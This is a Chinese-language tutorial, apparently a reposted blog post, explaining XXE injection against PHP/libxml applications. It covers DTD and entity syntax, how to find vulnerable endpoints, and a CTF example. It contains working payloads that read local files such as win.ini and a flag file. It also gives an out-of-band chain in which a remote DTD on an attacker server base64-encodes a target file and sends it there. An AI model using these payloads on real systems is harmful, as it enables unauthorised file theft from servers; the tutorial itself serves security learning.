XXE漏洞詳情篇


XXE漏洞

利用數據格式造成攻擊

1、造成XXE的原因

運維人員使用了低版本php,libxml低於2.9.1就會造成XXE或者程序員設置了libxml_disable_entity_loader(FALSE);

2、定義

XML用於標記電子文件使其具有結構性的標記語言,可以用來標記數據、定義數據類型,是一種允許用戶對自己的標記語言進行定義的源語言。XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。

3、利用漏洞條件

(即參數有沒有過濾)

  • libxml是否小於2.9.1(不管libxml_disable_entity_loader選項怎么樣都直接可以用)

  • 或者libxml_disable_entity_loader選項設置成了False。(高版本默認是true用不了,如果大意設置為了flase那么依然可以用)

注意編碼主要針對無回顯

4、XXE使用

  • 通過xxe讀取目標文件內容,一般就是這么用,讀的就是/etc/password文件,執行操作系統命令是不現實的。(xml協議不支持命令執行,php協議可以,具體的命令執行還是讀文件是根據協議走的)

5、XXE挖掘及擴展

1、抓包看accept頭是否接受xml

找xxe:帶參數的地方,看accept的頭有沒有application/xhtml+xml即有沒有xml格式的提交數據;支持xml就開始測參數(就像注入一樣帶入語句腳本),直接POST包下面交數據代碼

<?xml version = "1.0"?> <!DOCTYPE ANY [     <!ENTITY f SYSTEM "file:///C://1.txt"> ]> <x>&f;</x>

2、抓包修改數據類型,把json改成xml來傳輸數據

一道ctf題:http://web.jarvisoj.com:9882/

挖洞的時候有時候可能:看頭中json會不會造成xxe

如果遇到這種情況的話,json傳輸數據可以直接修改為xml,然后添加xml數據內容,放包。

例如原本的數據吧是這樣的:

在這里插入圖片描述

但當改為xxe進行文件讀取:

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "file:///home/ctf/flag.txt">
]>
<x>&f;</x>

在這里插入圖片描述

5、DTD基礎知識

Document Type Definition 即文檔類型定義,用來為XML文檔定義語義約束。可以嵌入在XML文檔中(內部聲明),也可以獨立的放在一個文件中(外部引用),由於其支持的數據類型有限,無法對元素或屬性的內容進行詳細規范,在可讀性和可擴展性方面也比不上XML Schema。

參考鏈接: http://www.w3school.com.cn/dtd/index.asp

構建xxe的payload達成攻擊

首先了解下基本的PAYLOAD結構,然后再介紹每部分涉及的知識點,如下PAYLOAD開頭進行了XML的聲明,然后使用DTD聲明實體(這里使用了file協議),最后使用XML獲取實體的數據。

基本的PAYLOAD結構:

在這里插入圖片描述

中間部分就是DTD部分,兩頭是xml代碼

使用DTD實體的攻擊方式

DTD 引用方式(簡要了解):

  1. DTD 內部聲明
<!DOCTYPE 根元素 [元素聲明]>

2. DTD 外部引用

<!DOCTYPE 根元素名稱 SYSTEM "外部DTD的URI">

3. 引用公共DTD

<!DOCTYPE 根元素名稱 PUBLIC "DTD標識名" "公用DTD的URI">

舉例:

<?xml version="1.0"?>  
<!DOCTYPE configuration PUBLIC "-//mybatis.org//DTD Config 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-config.dtd">
......
命名方法:以!DOCTYPE開始,configuration是文檔根元素名稱;
PUBLIC表示是公共DTD;-表示是非ISO組織;mybatis.org表示組織;
DTD 表示類型;Config 表示標簽;3.0是標簽后附帶的版本號;
EN表示DTD語言是英語;最后是DTD的URL;

DTD 實體聲明:

1. 內部實體聲明

<!ENTITY 實體名稱 "實體的值"> 

一個實體由三部分構成:&符號, 實體名稱, 分號 (😉,這里&不論在GET還是在POST中都需要進行URL編碼(地址欄的話,瀏覽器默認URL編碼了),因為是使用參數傳入xml的,&符號會被認為是參數間的連接符號,示例:

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe "This is a text">]>
<foo>&xxe;</foo>

在這里插入圖片描述

2. 外部實體聲明

<!ENTITY 實體名稱 SYSTEM "URI/URL"> 

外部引用可支持http,file等協議,不同的語言支持的協議不同,但存在一些通用的協議,具體內容如下所示:在這里插入圖片描述

示例:

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>

在這里插入圖片描述

3. 參數實體聲明

<!ENTITY % 實體名稱 "實體的值">
or
<!ENTITY % 實體名稱 SYSTEM "URI">

示例:

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  % xxe SYSTEM "http://192.168.18.23/xxe/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>

外部evil.dtd中的內容。

<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >

4. 引用公共實體

<!ENTITY 實體名稱 PUBLIC "public_ID" "URI">

實例:

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  % xxe PUBLIC "public_ID" "http://192.168.18.23/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>

在這里插入圖片描述

6、實體類別介紹

實體主要分為一下四類:

  • 內置實體 (Built-in entities)
  • 字符實體 (Character entities)
  • 通用實體 (General entities)
  • 參數實體 (Parameter entities)

參數實體用%實體名稱申明,引用時也用%實體名稱;
其余實體直接用實體名稱申明,引用時用&實體名稱。
參數實體只能在DTD中申明,DTD中引用;
其余實體只能在DTD中申明,可在xml文檔中引用。

舉例:

	* 內部實體
<!ENTITY 實體名稱 "實體的值">
  • 外部實體
<!ENTITY 實體名稱 SYSTEM "URI/URL">
  • 參數實體
<!ENTITY % 實體名稱 "實體內容">

​ 或者

<!ENTITY % 實體名稱 "URI">

注意:參數實體是在DTD中被引用的,而其余實體是在xml文檔中被引用的。

總結

調用外部實體就是為了繞開設置的防止回顯

7、XXE攻擊類別及實例

有回顯

可以用下面的兩種方式:(直接使用外部實體調用file://函數去讀取本地文件,或者建立dtd文件進行遠程協議調用文件。)

  •   <!DOCTYPE foo [<!ELEMENT foo ANY >
      <!ENTITY  xxe SYSTEM "file:///c:/windows/win.ini" >]>
      <foo>&xxe;</foo>
    

在這里插入圖片描述

  •   <!DOCTYPE foo [<!ELEMENT foo ANY >
      <!ENTITY  % xxe SYSTEM "http://192.168.18.23/xxe/evil2.dtd" >
      %xxe;]>
      <foo>&evil;</foo>
      
      其中外部鏈接的evil.dtd中內容為:(這里攻擊服務器地址為:192.168.18.70:86)
      <!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >
    

在這里插入圖片描述

無回顯

建立一個dtd文件,在遠程服務器上放入dtd文件,利用以后如果無報錯就需要查看數據日志文件信息,可以看到base64編碼后的數據。

可以使用外帶數據通道提取數據,先使用php://filter獲取目標文件的內容,然后將內容以http請求發送到接受數據的服務器(攻擊服務器)192.168.18.23。

攻擊的payload如下:

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://192.168.18.23/xxe/xxe2/test.dtd">
%remote;%int;%send;
]>

test.dtd的文件內容如下:讀取的文件內容進行了base64編碼

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windwos/win.ini">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.18.23?p=%file;'>">

實際效果如下:

在這里插入圖片描述

注意:無報錯需要訪問接受數據的服務器中的日志信息,可以看到經過base64編碼過的數據,解碼后便可以得到數據。(這是得知道目標日志存儲的位置)

在這里插入圖片描述

我們清楚第看到服務器端接收到了我們用 base64 編碼后的敏感文件信息(編碼也是為了不破壞原本的XML語法),不編碼會報錯。

整個調用過程:

我們從 payload 中能看到 連續調用了三個參數實體 %remote;%int;%send;,這就是我們的利用順序,%remote 先調用,調用后請求遠程服務器上的 test.dtd ,有點類似於將 test.dtd 包含進來,然后 %int 調用 test.dtd 中的 %file, %file 就會去獲取服務器上面的敏感文件,然后將 %file 的結果填入到 %send 以后(因為實體的值中不能有 %, 所以將其轉成html實體編碼 %),我們再調用 %send; 把我們的讀取到的數據發送到我們的遠程 vps 上,這樣就實現了外帶數據的效果,完美的解決了 XXE 無回顯的問題。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM